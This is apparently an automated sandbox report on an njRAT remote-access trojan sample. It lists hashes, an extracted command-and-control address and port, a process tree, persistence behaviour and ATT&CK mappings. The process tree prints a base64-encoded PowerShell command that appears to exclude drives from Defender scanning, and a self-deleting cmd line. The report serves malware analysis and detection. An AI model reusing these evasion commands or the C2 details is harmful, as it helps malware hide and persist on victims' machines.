Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    28-01-2024 15:14

General

  • Target

    6ADD6FA3EA74FFCBA90B3630ACDE5182.exe

  • Size

    76KB

  • MD5

    6add6fa3ea74ffcba90b3630acde5182

  • SHA1

    cd202aa598e13a57e6d2bb8c614eb3122d6fb280

  • SHA256

    1092849f2f8f3fb0d1f89f0bff367d0a0f1f138fe5eb45b56f0a970b1677e4be

  • SHA512

    b57f846773f78fda8ba5c8b4b718d092d9037df788d0ea41954d6170bc1e35391ab10d8d12658b8be26e31a16deb78e665c74d5fdc44d11c8bf8216af3ff794b

  • SSDEEP

    1536:I8R7MJTttj9U5XvdKygf7oFOepKmqwBCmDqorCMCX9QKkW:lCftjK5FKZf+OfwcmZ2RX9QLW

Malware Config

Extracted

Family

njrat

Version

Njrat 0.7 Golden By Hassan Amiri

Botnet

Svchost

C2

95.173.255.238:4444

Mutex

Windows Defender

Attributes
  • reg_key

    Windows Defender

  • splitter

    |Hassan|

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs .reg file with regedit 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6ADD6FA3EA74FFCBA90B3630ACDE5182.exe
    "C:\Users\Admin\AppData\Local\Temp\6ADD6FA3EA74FFCBA90B3630ACDE5182.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2984
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAYQB6ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAZgBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHUAdQBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAZwBnACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2824
    • C:\Users\Admin\AppData\Local\Temp\Server.exe
      "C:\Users\Admin\AppData\Local\Temp\Server.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of WriteProcessMemory
      PID:2684
      • C:\Users\Admin\AppData\Local\Temp\Svchost.exe
        "C:\Users\Admin\AppData\Local\Temp\Svchost.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1520
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c ping 0 -n 2 & del "C:\Users\Admin\AppData\Local\Temp\Svchost.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2888
          • C:\Windows\SysWOW64\PING.EXE
            ping 0 -n 2
            5⤵
            • Runs ping.exe
            PID:1624
    • C:\Windows\regedit.exe
      "regedit.exe" "C:\Users\Admin\AppData\Local\Temp\ZulaHAX.reg"
      2⤵
      • Runs .reg file with regedit
      PID:2776

Network

MITRE ATT&CK Matrix ATT&CK v13

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

1
T1082

Remote System Discovery

1
T1018

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\Server.exe
    Filesize

    43KB

    MD5

    3d5e301c8221356991a5522034c5b907

    SHA1

    d71baabd5d474aa4aabc865e2ca73db578c71a6d

    SHA256

    c69616a4c334e550278446c2404e5ac5b896938179ade3a64afcfdf19b254e21

    SHA512

    9bb1feab4689858fd3034b64d9549ecc60a54a7c8f7e70eff22730855e375921c27901dcdc50e812266b1a80a269dfab2a4df82e8feba65e51e99d162501fc13

  • C:\Users\Admin\AppData\Local\Temp\ZulaHAX.reg
    Filesize

    281B

    MD5

    682e7f391ab8b4da7f66c32606e72d40

    SHA1

    246ba406ea9993dcef6c0924e4aa81acefc74209

    SHA256

    3cf29dc045b5c52fca23b16e252dd4d19d18faae0a2ccae3c3543259bbb456dc

    SHA512

    a1ddffc1f9441373b8c3214a221c840e420dadf4b9709578551886340d6a026bdaed142ea8dca164f536414292becad05795e9c8136d82ba1c3f9ff8bb0419d5

  • memory/1520-42-0x00000000001C0000-0x0000000000200000-memory.dmp
    Filesize

    256KB

  • memory/1520-45-0x00000000001C0000-0x0000000000200000-memory.dmp
    Filesize

    256KB

  • memory/1520-44-0x00000000001C0000-0x0000000000200000-memory.dmp
    Filesize

    256KB

  • memory/1520-43-0x00000000745E0000-0x0000000074B8B000-memory.dmp
    Filesize

    5.7MB

  • memory/1520-40-0x00000000745E0000-0x0000000074B8B000-memory.dmp
    Filesize

    5.7MB

  • memory/1520-39-0x00000000001C0000-0x0000000000200000-memory.dmp
    Filesize

    256KB

  • memory/1520-37-0x00000000745E0000-0x0000000074B8B000-memory.dmp
    Filesize

    5.7MB

  • memory/1520-46-0x00000000745E0000-0x0000000074B8B000-memory.dmp
    Filesize

    5.7MB

  • memory/2684-38-0x00000000745E0000-0x0000000074B8B000-memory.dmp
    Filesize

    5.7MB

  • memory/2684-27-0x00000000745E0000-0x0000000074B8B000-memory.dmp
    Filesize

    5.7MB

  • memory/2684-23-0x00000000745E0000-0x0000000074B8B000-memory.dmp
    Filesize

    5.7MB

  • memory/2684-26-0x0000000000CD0000-0x0000000000D10000-memory.dmp
    Filesize

    256KB

  • memory/2776-28-0x0000000000490000-0x0000000000491000-memory.dmp
    Filesize

    4KB

  • memory/2824-17-0x0000000002410000-0x0000000002418000-memory.dmp
    Filesize

    32KB

  • memory/2824-25-0x00000000025A0000-0x0000000002620000-memory.dmp
    Filesize

    512KB

  • memory/2824-24-0x000007FEF2040000-0x000007FEF29DD000-memory.dmp
    Filesize

    9.6MB

  • memory/2824-22-0x00000000025A4000-0x00000000025A7000-memory.dmp
    Filesize

    12KB

  • memory/2824-21-0x000007FEF2040000-0x000007FEF29DD000-memory.dmp
    Filesize

    9.6MB

  • memory/2824-20-0x00000000025A0000-0x0000000002620000-memory.dmp
    Filesize

    512KB

  • memory/2824-19-0x000007FEF2040000-0x000007FEF29DD000-memory.dmp
    Filesize

    9.6MB

  • memory/2824-16-0x000000001B2F0000-0x000000001B5D2000-memory.dmp
    Filesize

    2.9MB

  • memory/2984-0-0x0000000000FD0000-0x0000000000FE8000-memory.dmp
    Filesize

    96KB

  • memory/2984-18-0x000007FEF5730000-0x000007FEF611C000-memory.dmp
    Filesize

    9.9MB

  • memory/2984-2-0x000000001AF30000-0x000000001AFB0000-memory.dmp
    Filesize

    512KB

  • memory/2984-1-0x000007FEF5730000-0x000007FEF611C000-memory.dmp
    Filesize

    9.9MB